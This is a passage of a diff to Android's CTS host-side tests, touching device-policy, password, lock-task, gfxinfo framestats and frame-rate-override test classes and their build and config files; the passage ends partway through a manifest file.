                 .build());
 
     }
@@ -1645,6 +1658,7 @@
                 }, new DevicePolicyEventWrapper.Builder(EventId.SET_KEY_PAIR_CERTIFICATE_VALUE)
                 .setAdminPackageName(DEVICE_ADMIN_PKG)
                 .setBoolean(false)
+                .setStrings("notCredentialManagementApp")
                 .build());
     }
 
@@ -2089,6 +2103,27 @@
                 .collect(Collectors.toList());
     }
 
+    @Test
+    public void testEnrollmentSpecificIdCorrectCalculation() throws DeviceNotAvailableException {
+        if (!mHasFeature) {
+            return;
+        }
+        runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".EnrollmentSpecificIdTest",
+                "testCorrectCalculationOfEsid", mUserId);
+    }
+
+    @Test
+    public void testEnrollmentSpecificIdEmptyAndMultipleSet() throws DeviceNotAvailableException {
+        if (!mHasFeature) {
+            return;
+        }
+        runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".EnrollmentSpecificIdTest",
+                "testThrowsForEmptyOrganizationId", mUserId);
+        runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".EnrollmentSpecificIdTest",
+                "testThrowsWhenTryingToReSetOrganizationId", mUserId);
+    }
+
+
     /**
      * Executes a test class on device. Prior to running, turn off background data usage
      * restrictions, and restore the original restrictions after the test.
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTestApi30.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTestApi30.java
new file mode 100644
index 0000000..fd0f595
--- /dev/null
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTestApi30.java
@@ -0,0 +1,53 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.devicepolicy;
+
+/**
+ * Set of tests for use cases that apply to profile and device owner with DPC
+ * targeting API level 25.
+ */
+public abstract class DeviceAndProfileOwnerTestApi30 extends BaseDevicePolicyTest {
+
+    protected static final String DEVICE_ADMIN_PKG = "com.android.cts.deviceandprofileowner";
+    protected static final String DEVICE_ADMIN_APK = "CtsDeviceAndProfileOwnerApp30.apk";
+
+    protected static final String ADMIN_RECEIVER_TEST_CLASS =
+            ".BaseDeviceAdminTest$BasicAdminReceiver";
+
+    protected int mUserId;
+
+    @Override
+    public void tearDown() throws Exception {
+        if (mHasFeature) {
+            getDevice().uninstallPackage(DEVICE_ADMIN_PKG);
+
+            // Clear device lock in case test fails (testUnlockFbe in particular)
+            getDevice().executeShellCommand("cmd lock_settings clear --old 12345");
+            // Press the HOME key to close any alart dialog that may be shown.
+            getDevice().executeShellCommand("input keyevent 3");
+        }
+        super.tearDown();
+    }
+
+    protected void executeDeviceTestClass(String className) throws Exception {
+        runDeviceTestsAsUser(DEVICE_ADMIN_PKG, className, mUserId);
+    }
+
+    protected void executeDeviceTestMethod(String className, String testName) throws Exception {
+        runDeviceTestsAsUser(DEVICE_ADMIN_PKG, className, testName, mUserId);
+    }
+}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
index 2686de2..b600f25 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
@@ -103,16 +103,20 @@
     private static final String GLOBAL_SETTING_USB_MASS_STORAGE_ENABLED =
             "usb_mass_storage_enabled";
 
+    private boolean mDeviceOwnerSet;
+
     @Override
     public void setUp() throws Exception {
         super.setUp();
         if (mHasFeature) {
-            installAppAsUser(DEVICE_OWNER_APK, mPrimaryUserId);
-            if (!setDeviceOwner(DEVICE_OWNER_COMPONENT, mPrimaryUserId,
-                    /*expectFailure*/ false)) {
-                removeAdmin(DEVICE_OWNER_COMPONENT, mPrimaryUserId);
+            installAppAsUser(DEVICE_OWNER_APK, mDeviceOwnerUserId);
+            mDeviceOwnerSet = setDeviceOwner(DEVICE_OWNER_COMPONENT, mDeviceOwnerUserId,
+                    /*expectFailure*/ false);
+
+            if (!mDeviceOwnerSet) {
+                removeAdmin(DEVICE_OWNER_COMPONENT, mDeviceOwnerUserId);
                 getDevice().uninstallPackage(DEVICE_OWNER_PKG);
-                fail("Failed to set device owner");
+                fail("Failed to set device owner for user " + mDeviceOwnerUserId);
             }
 
             // Enable the notification listener
@@ -125,8 +129,10 @@
     @Override
     public void tearDown() throws Exception {
         if (mHasFeature) {
-            assertTrue("Failed to remove device owner.",
-                    removeAdmin(DEVICE_OWNER_COMPONENT, mPrimaryUserId));
+            if (mDeviceOwnerSet) {
+                assertTrue("Failed to remove device owner for user " + mDeviceOwnerUserId,
+                        removeAdmin(DEVICE_OWNER_COMPONENT, mDeviceOwnerUserId));
+            }
             getDevice().uninstallPackage(DEVICE_OWNER_PKG);
             switchUser(USER_SYSTEM);
             removeTestUsers();
@@ -137,6 +143,9 @@
 
     @Test
     public void testDeviceOwnerSetup() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
         executeDeviceOwnerTest("DeviceOwnerSetupTest");
     }
 
@@ -990,7 +999,7 @@
             // The simple app package seems to be set into stopped state on reboot.
             // Launch the activity again to get it out of stopped state.
             startActivityAsUser(mPrimaryUserId, SIMPLE_APP_PKG, SIMPLE_APP_ACTIVITY);
-            forceStopPackageForUser(SIMPLE_APP_PKG, mPrimaryUserId);
+            forceStopPackageForUser(SIMPLE_APP_PKG, mDeviceOwnerUserId);
             executeDeviceTestMethod(".UserControlDisabledPackagesTest",
                     "testForceStopWithUserControlDisabled");
             executeDeviceTestMethod(".UserControlDisabledPackagesTest",
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfilePasswordTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfilePasswordTest.java
index 9874b75..b84ed01 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfilePasswordTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfilePasswordTest.java
@@ -46,15 +46,6 @@
         lockProfile();
     }
 
-    @Test
-    public void testPasswordMinimumRestrictions() throws Exception {
-        if (!mHasFeature || !mHasSecureLockScreen) {
-            return;
-        }
-        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".PasswordMinimumRestrictionsTest",
-                mProfileUserId);
-    }
-
     @FlakyTest
     @Test
     public void testResetPasswordWithTokenBeforeUnlock() throws Exception {
@@ -233,6 +224,15 @@
                 .build());
     }
 
+    @Test
+    public void testActivePasswordSufficientForDeviceRequirement() throws Exception {
+        if (!mHasFeature || !mHasSecureLockScreen) {
+            return;
+        }
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ActivePasswordSufficientForDeviceTest",
+                mProfileUserId);
+    }
+
     private void verifyUnifiedPassword(boolean unified) throws DeviceNotAvailableException {
         final String testMethod =
                 unified ? "testUsingUnifiedPassword" : "testNotUsingUnifiedPassword";
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
index 7502822..4883a76 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
@@ -587,9 +587,6 @@
                 "testOppDisabledWhenRestrictionSet", mProfileUserId);
     }
 
-    //TODO(b/130844684): Re-enable once profile owner on personal device can no longer access
-    //identifiers.
-    @Ignore
     @Test
     public void testProfileOwnerOnPersonalDeviceCannotGetDeviceIdentifiers() throws Exception {
         // The Profile Owner should have access to all device identifiers.
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java
index de168cd..94a76f8 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java
@@ -31,11 +31,6 @@
 import org.junit.Ignore;
 import org.junit.Test;
 
-import java.io.File;
-import java.io.FileOutputStream;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.OutputStream;
 import java.util.ArrayList;
 import java.util.Collections;
 import java.util.HashMap;
@@ -101,6 +96,7 @@
     }
 
     @FlakyTest(bugId = 127270520)
+    @Ignore("Ignored while migrating to new infrastructure b/175377361")
     @Test
     public void testLockTask_affiliatedSecondaryUser() throws Exception {
         if (!mHasFeature || !canCreateAdditionalUsers(1)) {
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java
index 4126185..4b213f1 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java
@@ -401,18 +401,6 @@
                 DEVICE_ADMIN_PKG, ".WifiTest", "testCannotGetWifiMacAddress", mUserId);
     }
 
-    //TODO(b/130844684): Remove when removing profile owner on personal device access to device
-    // identifiers.
-    @Test
-    public void testProfileOwnerCanGetDeviceIdentifiers() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
-        runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".DeviceIdentifiersTest",
-                "testProfileOwnerCanGetDeviceIdentifiersWithPermission", mUserId);
-    }
-
     @Override
     @LockSettingsTest
     @Test
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTestApi25.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTestApi25.java
index 8688335..10c6c8a 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTestApi25.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTestApi25.java
@@ -16,9 +16,6 @@
 
 package com.android.cts.devicepolicy;
 
-import android.platform.test.annotations.FlakyTest;
-import android.platform.test.annotations.LargeTest;
-
 import com.android.cts.devicepolicy.annotations.PermissionsTest;
 
 import org.junit.Test;
@@ -28,7 +25,6 @@
  * Tests that should be run identically in both cases are added in DeviceAndProfileOwnerTestApi25.
  */
 public class MixedManagedProfileOwnerTestApi25 extends DeviceAndProfileOwnerTestApi25 {
-
     private int mParentUserId = -1;
 
     @Override
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTestApi30.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTestApi30.java
new file mode 100644
index 0000000..dd54042
--- /dev/null
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTestApi30.java
@@ -0,0 +1,75 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.devicepolicy;
+
+import org.junit.Test;
+
+/**
+ * Set of tests for managed profile owner use cases that may also apply to device owner.
+ * Tests that should be run identically in both cases are added in DeviceAndProfileOwnerTestApi30.
+ */
+public class MixedManagedProfileOwnerTestApi30 extends DeviceAndProfileOwnerTestApi30 {
+    private int mParentUserId = -1;
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+
+        // We need managed users to be supported in order to create a profile of the user owner.
+        mHasFeature &= hasDeviceFeature("android.software.managed_users");
+
+        if (mHasFeature) {
+            removeTestUsers();
+            mParentUserId = mPrimaryUserId;
+            createManagedProfile();
+        }
+    }
+
+    private void createManagedProfile() throws Exception {
+        mUserId = createManagedProfile(mParentUserId);
+        switchUser(mParentUserId);
+        startUserAndWait(mUserId);
+
+        installAppAsUser(DEVICE_ADMIN_APK, mUserId);
+        setProfileOwnerOrFail(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId);
+        startUserAndWait(mUserId);
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        if (mHasFeature) {
+            removeUser(mUserId);
+        }
+        super.tearDown();
+    }
+
+    @Test
+    public void testPasswordMinimumRestrictions() throws Exception {
+        if (!mHasFeature || !mHasSecureLockScreen) {
+            return;
+        }
+        executeDeviceTestClass(".PasswordMinimumRestrictionsTest");
+    }
+
+    @Test
+    public void testPasswordComplexityAndQuality() throws Exception {
+        if (!mHasFeature || !mHasSecureLockScreen) {
+            return;
+        }
+        executeDeviceTestClass(".PasswordQualityAndComplexityTest");
+    }
+}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerTest.java
index 6ec9ac8..5d6d8fd 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedProfileOwnerTest.java
@@ -22,6 +22,7 @@
 import android.platform.test.annotations.FlakyTest;
 import android.platform.test.annotations.LargeTest;
 
+import org.junit.Ignore;
 import org.junit.Test;
 
 /**
@@ -80,6 +81,7 @@
 
     @Override
     @FlakyTest(bugId = 140932104)
+    @Ignore("Ignored while migrating to new infrastructure b/175377361")
     @Test
     public void testLockTaskAfterReboot() throws Exception {
         super.testLockTaskAfterReboot();
@@ -87,6 +89,7 @@
 
     @Override
     @FlakyTest(bugId = 140932104)
+    @Ignore("Ignored while migrating to new infrastructure b/175377361")
     @Test
     public void testLockTaskAfterReboot_tryOpeningSettings() throws Exception {
         super.testLockTaskAfterReboot_tryOpeningSettings();
@@ -94,6 +97,7 @@
 
     @Override
     @FlakyTest(bugId = 140932104)
+    @Ignore("Ignored while migrating to new infrastructure b/175377361")
     @Test
     public void testLockTask_exitIfNoLongerAllowed() throws Exception {
         super.testLockTask_exitIfNoLongerAllowed();
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ProfileOwnerTest.java
index 1246246..05e20d1 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ProfileOwnerTest.java
@@ -91,10 +91,6 @@
         if (!mHasFeature) {
             return;
         }
-        if (true) {
-            // TODO(b/172376923): currently disabled as PO is not properly set to run lockNow()
-            return;
-        }
 
         executeProfileOwnerTest("DevicePolicySafetyCheckerIntegrationTest");
     }
diff --git a/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java b/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
index 21e9e51..11f24fa 100755
--- a/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
+++ b/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
@@ -718,92 +718,4 @@
         assertInteger(parts[13]); // unoptimizedScanMaxTime
         assertInteger(parts[14]); // unoptimizedScanMaxTimeBg
     }
-
-    /**
-     * Tests the output of "dumpsys gfxinfo framestats".
-     *
-     * @throws Exception
-     */
-    public void testGfxinfoFramestats() throws Exception {
-        final String MARKER = "---PROFILEDATA---";
-
-        try {
-            // cleanup test apps that might be installed from previous partial test run
-            getDevice().uninstallPackage(TEST_PKG);
-
-            // install the test app
-            CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
-            File testAppFile = buildHelper.getTestFile(TEST_APK);
-            String installResult = getDevice().installPackage(testAppFile, false);
-            assertNull(
-                    String.format("failed to install atrace test app. Reason: %s", installResult),
-                    installResult);
-
-            getDevice().executeShellCommand("am start -W " + TEST_PKG);
-
-            String frameinfo = mDevice.executeShellCommand("dumpsys gfxinfo " +
-                    TEST_PKG + " framestats");
-            assertNotNull(frameinfo);
-            assertTrue(frameinfo.length() > 0);
-            int profileStart = frameinfo.indexOf(MARKER);
-            int profileEnd = frameinfo.indexOf(MARKER, profileStart + 1);
-            assertTrue(profileStart >= 0);
-            assertTrue(profileEnd > profileStart);
-            String profileData = frameinfo.substring(profileStart + MARKER.length(), profileEnd);
-            assertTrue(profileData.length() > 0);
-            validateProfileData(profileData);
-        } finally {
-            getDevice().uninstallPackage(TEST_PKG);
-        }
-    }
-
-    private void validateProfileData(String profileData) throws IOException {
-        final int TIMESTAMP_COUNT = 16;
-        boolean foundAtLeastOneRow = false;
-        try (BufferedReader reader = new BufferedReader(
-                new StringReader(profileData))) {
-            String line;
-            // First line needs to be the headers
-            while ((line = reader.readLine()) != null && line.isEmpty()) {}
-
-            assertNotNull(line);
-            assertTrue("First line was not the expected header",
-                    line.startsWith("Flags,FrameTimelineVsyncId,IntendedVsync,Vsync" +
-                            ",OldestInputEvent,NewestInputEvent,HandleInputStart" +
-                            ",AnimationStart,PerformTraversalsStart,DrawStart,FrameDeadline" +
-                            ",SyncQueued,SyncStart,IssueDrawCommandsStart,SwapBuffers" +
-                            ",FrameCompleted"));
-
-            long[] numparts = new long[TIMESTAMP_COUNT];
-            while ((line = reader.readLine()) != null && !line.isEmpty()) {
-
-                String[] parts = line.split(",");
-                assertTrue(parts.length >= TIMESTAMP_COUNT);
-                for (int i = 0; i < TIMESTAMP_COUNT; i++) {
-                    numparts[i] = assertInteger(parts[i]);
-                }
-                // Flags = 1 just means the first frame of the window
-                if (numparts[0] != 0 && numparts[0] != 1) {
-                    continue;
-                }
-                // assert VSYNC >= INTENDED_VSYNC
-                assertTrue(numparts[3] >= numparts[2]);
-                // assert time is flowing forwards, skipping index 4 & 5
-                // as those are input timestamps that may or may not be present
-                assertTrue(numparts[6] >= numparts[3]);
-                for (int i = 7; i < TIMESTAMP_COUNT; i++) {
-                    assertTrue("Index " + i + " did not flow forward, " +
-                            numparts[i] + " not larger than " + numparts[i - 1],
-                            numparts[i] >= numparts[i-1]);
-                }
-                long totalDuration = numparts[15] - numparts[2];
-                assertTrue("Frame did not take a positive amount of time to process",
-                        totalDuration > 0);
-                assertTrue("Bogus frame duration, exceeds 100 seconds",
-                        totalDuration < 100000000000L);
-                foundAtLeastOneRow = true;
-            }
-        }
-        assertTrue(foundAtLeastOneRow);
-    }
 }
diff --git a/hostsidetests/dumpsys/src/android/dumpsys/cts/GfxInfoDumpsysTest.java b/hostsidetests/dumpsys/src/android/dumpsys/cts/GfxInfoDumpsysTest.java
new file mode 100755
index 0000000..5efc434
--- /dev/null
+++ b/hostsidetests/dumpsys/src/android/dumpsys/cts/GfxInfoDumpsysTest.java
@@ -0,0 +1,140 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.dumpsys.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.tradefed.log.LogUtil.CLog;
+
+import java.io.BufferedReader;
+import java.io.File;
+import java.io.IOException;
+import java.io.StringReader;
+import java.util.HashSet;
+import java.util.Set;
+
+/**
+ * Test to check the format of the dumps of the gfxinfo.
+ */
+public class GfxInfoDumpsysTest extends BaseDumpsysTest {
+    private static final String TEST_APK = "CtsFramestatsTestApp.apk";
+    private static final String TEST_PKG = "com.android.cts.framestatstestapp";
+
+    /**
+     * Tests the output of "dumpsys gfxinfo framestats".
+     *
+     * @throws Exception
+     */
+    public void testGfxinfoFramestats() throws Exception {
+        final String MARKER = "---PROFILEDATA---";
+
+        try {
+            // cleanup test apps that might be installed from previous partial test run
+            getDevice().uninstallPackage(TEST_PKG);
+
+            // install the test app
+            CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
+            File testAppFile = buildHelper.getTestFile(TEST_APK);
+            String installResult = getDevice().installPackage(testAppFile, false);
+            assertNull(
+                    String.format("failed to install atrace test app. Reason: %s", installResult),
+                    installResult);
+
+            getDevice().executeShellCommand("am start -W " + TEST_PKG);
+
+            String frameinfo = mDevice.executeShellCommand("dumpsys gfxinfo " +
+                    TEST_PKG + " framestats");
+            assertNotNull(frameinfo);
+            assertTrue(frameinfo.length() > 0);
+            int profileStart = frameinfo.indexOf(MARKER);
+            int profileEnd = frameinfo.indexOf(MARKER, profileStart + 1);
+            assertTrue(profileStart >= 0);
+            assertTrue(profileEnd > profileStart);
+            String profileData = frameinfo.substring(profileStart + MARKER.length(), profileEnd);
+            assertTrue(profileData.length() > 0);
+            validateProfileData(profileData);
+        } finally {
+            getDevice().uninstallPackage(TEST_PKG);
+        }
+    }
+
+    private void validateProfileData(String profileData) throws IOException {
+        final int TIMESTAMP_COUNT = 16;
+        boolean foundAtLeastOneRow = false;
+        try (BufferedReader reader = new BufferedReader(
+                new StringReader(profileData))) {
+            String line;
+            // First line needs to be the headers
+            while ((line = reader.readLine()) != null && line.isEmpty()) {}
+
+            assertNotNull(line);
+            assertTrue("First line was not the expected header",
+                    line.startsWith("Flags,FrameTimelineVsyncId,IntendedVsync,Vsync" +
+                            ",OldestInputEvent,NewestInputEvent,HandleInputStart" +
+                            ",AnimationStart,PerformTraversalsStart,DrawStart,FrameDeadline" +
+                            ",SyncQueued,SyncStart,IssueDrawCommandsStart,SwapBuffers" +
+                            ",FrameCompleted"));
+
+            long[] numparts = new long[TIMESTAMP_COUNT];
+            while ((line = reader.readLine()) != null && !line.isEmpty()) {
+
+                String[] parts = line.split(",");
+                assertTrue(parts.length >= TIMESTAMP_COUNT);
+                for (int i = 0; i < TIMESTAMP_COUNT; i++) {
+                    numparts[i] = assertInteger(parts[i]);
+                }
+                // Flags = 1 just means the first frame of the window
+                if (numparts[0] != 0 && numparts[0] != 1) {
+                    continue;
+                }
+
+                // assert time is flowing forwards. we need to check each entry explicitly
+                // as some entries do not represent a flow of events.
+                assertTrue("VSYNC happened before INTENDED_VSYNC",
+                        numparts[3] >= numparts[2]);
+                assertTrue("HandleInputStart happened before VSYNC",
+                        numparts[6] >= numparts[3]);
+                assertTrue("AnimationStart happened before HandleInputStart",
+                        numparts[7] >= numparts[6]);
+                assertTrue("PerformTraversalsStart happened before AnimationStart",
+                        numparts[8] >= numparts[7]);
+                assertTrue("DrawStart happened before PerformTraversalsStart",
+                        numparts[9] >= numparts[8]);
+                assertTrue("SyncQueued happened before DrawStart",
+                        numparts[11] >= numparts[9]);
+                assertTrue("SyncStart happened before SyncQueued",
+                        numparts[12] >= numparts[11]);
+                assertTrue("IssueDrawCommandsStart happened before SyncStart",
+                        numparts[13] >= numparts[12]);
+                assertTrue("SwapBuffers happened before IssueDrawCommandsStart",
+                        numparts[14] >= numparts[13]);
+                assertTrue("FrameCompleted happened before SwapBuffers",
+                        numparts[15] >= numparts[14]);
+
+                // total duration is from IntendedVsync to FrameCompleted
+                long totalDuration = numparts[15] - numparts[2];
+                assertTrue("Frame did not take a positive amount of time to process",
+                        totalDuration > 0);
+                assertTrue("Bogus frame duration, exceeds 100 seconds",
+                        totalDuration < 100000000000L);
+                foundAtLeastOneRow = true;
+            }
+        }
+        assertTrue(foundAtLeastOneRow);
+    }
+}
diff --git a/hostsidetests/graphics/framerateoverride/Android.bp b/hostsidetests/graphics/framerateoverride/Android.bp
new file mode 100644
index 0000000..9dd24e5
--- /dev/null
+++ b/hostsidetests/graphics/framerateoverride/Android.bp
@@ -0,0 +1,34 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsFrameRateOverrideTestCases",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    libs: [
+        "cts-tradefed",
+        "tradefed",
+        "guava",
+    ],
+    static_libs:["CompatChangeGatingTestBase"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    java_resources: [":cts-global-compat-config"],
+}
+
+
+
diff --git a/hostsidetests/graphics/framerateoverride/AndroidTest.xml b/hostsidetests/graphics/framerateoverride/AndroidTest.xml
new file mode 100644
index 0000000..1b673fc
--- /dev/null
+++ b/hostsidetests/graphics/framerateoverride/AndroidTest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS framerateoverride host test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsFrameRateOverrideTestCases.jar" />
+    </test>
+</configuration>
diff --git a/hostsidetests/graphics/framerateoverride/OWNERS b/hostsidetests/graphics/framerateoverride/OWNERS
new file mode 100644
index 0000000..0e1e92c
--- /dev/null
+++ b/hostsidetests/graphics/framerateoverride/OWNERS
@@ -0,0 +1,4 @@
+# Bug component: 25423
+adyabr@google.com
+stoza@google.com
+
diff --git a/hostsidetests/graphics/framerateoverride/TEST_MAPPING b/hostsidetests/graphics/framerateoverride/TEST_MAPPING
new file mode 100644
index 0000000..c9825c6
--- /dev/null
+++ b/hostsidetests/graphics/framerateoverride/TEST_MAPPING
@@ -0,0 +1,8 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsFrameRateOverrideTestCases"
+    }
+  ]
+}
+
diff --git a/hostsidetests/graphics/framerateoverride/app/Android.bp b/hostsidetests/graphics/framerateoverride/app/Android.bp
new file mode 100644
index 0000000..30790bf
--- /dev/null
+++ b/hostsidetests/graphics/framerateoverride/app/Android.bp
@@ -0,0 +1,45 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsHostsideFrameRateOverrideTestsApp",
+    defaults: ["cts_support_defaults"],
+    platform_apis: true,
+    srcs: ["src/**/*.java"],
+    libs: [
+        "junit",
+    ],
+    static_libs: [
+        "androidx.annotation_annotation",
+        "androidx.core_core",
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+        "ctsdeviceutillegacy-axt",
+        "ctstestrunner-axt",
+        "junit",
+        "junit-params",
+        "mockito-target-minus-junit4",
+        "SurfaceFlingerProperties",
+        "testng",
+        "truth-prebuilt",
+    ],
+
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/graphics/framerateoverride/app/AndroidManifest.xml b/hostsidetests/graphics/framerateoverride/app/AndroidManifest.xml
new file mode 100644
index 0000000..97f4d9a
--- /dev/null
+++ b/hostsidetests/graphics/framerateoverride/app/AndroidManifest.xml
@@ -0,0 +1,41 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
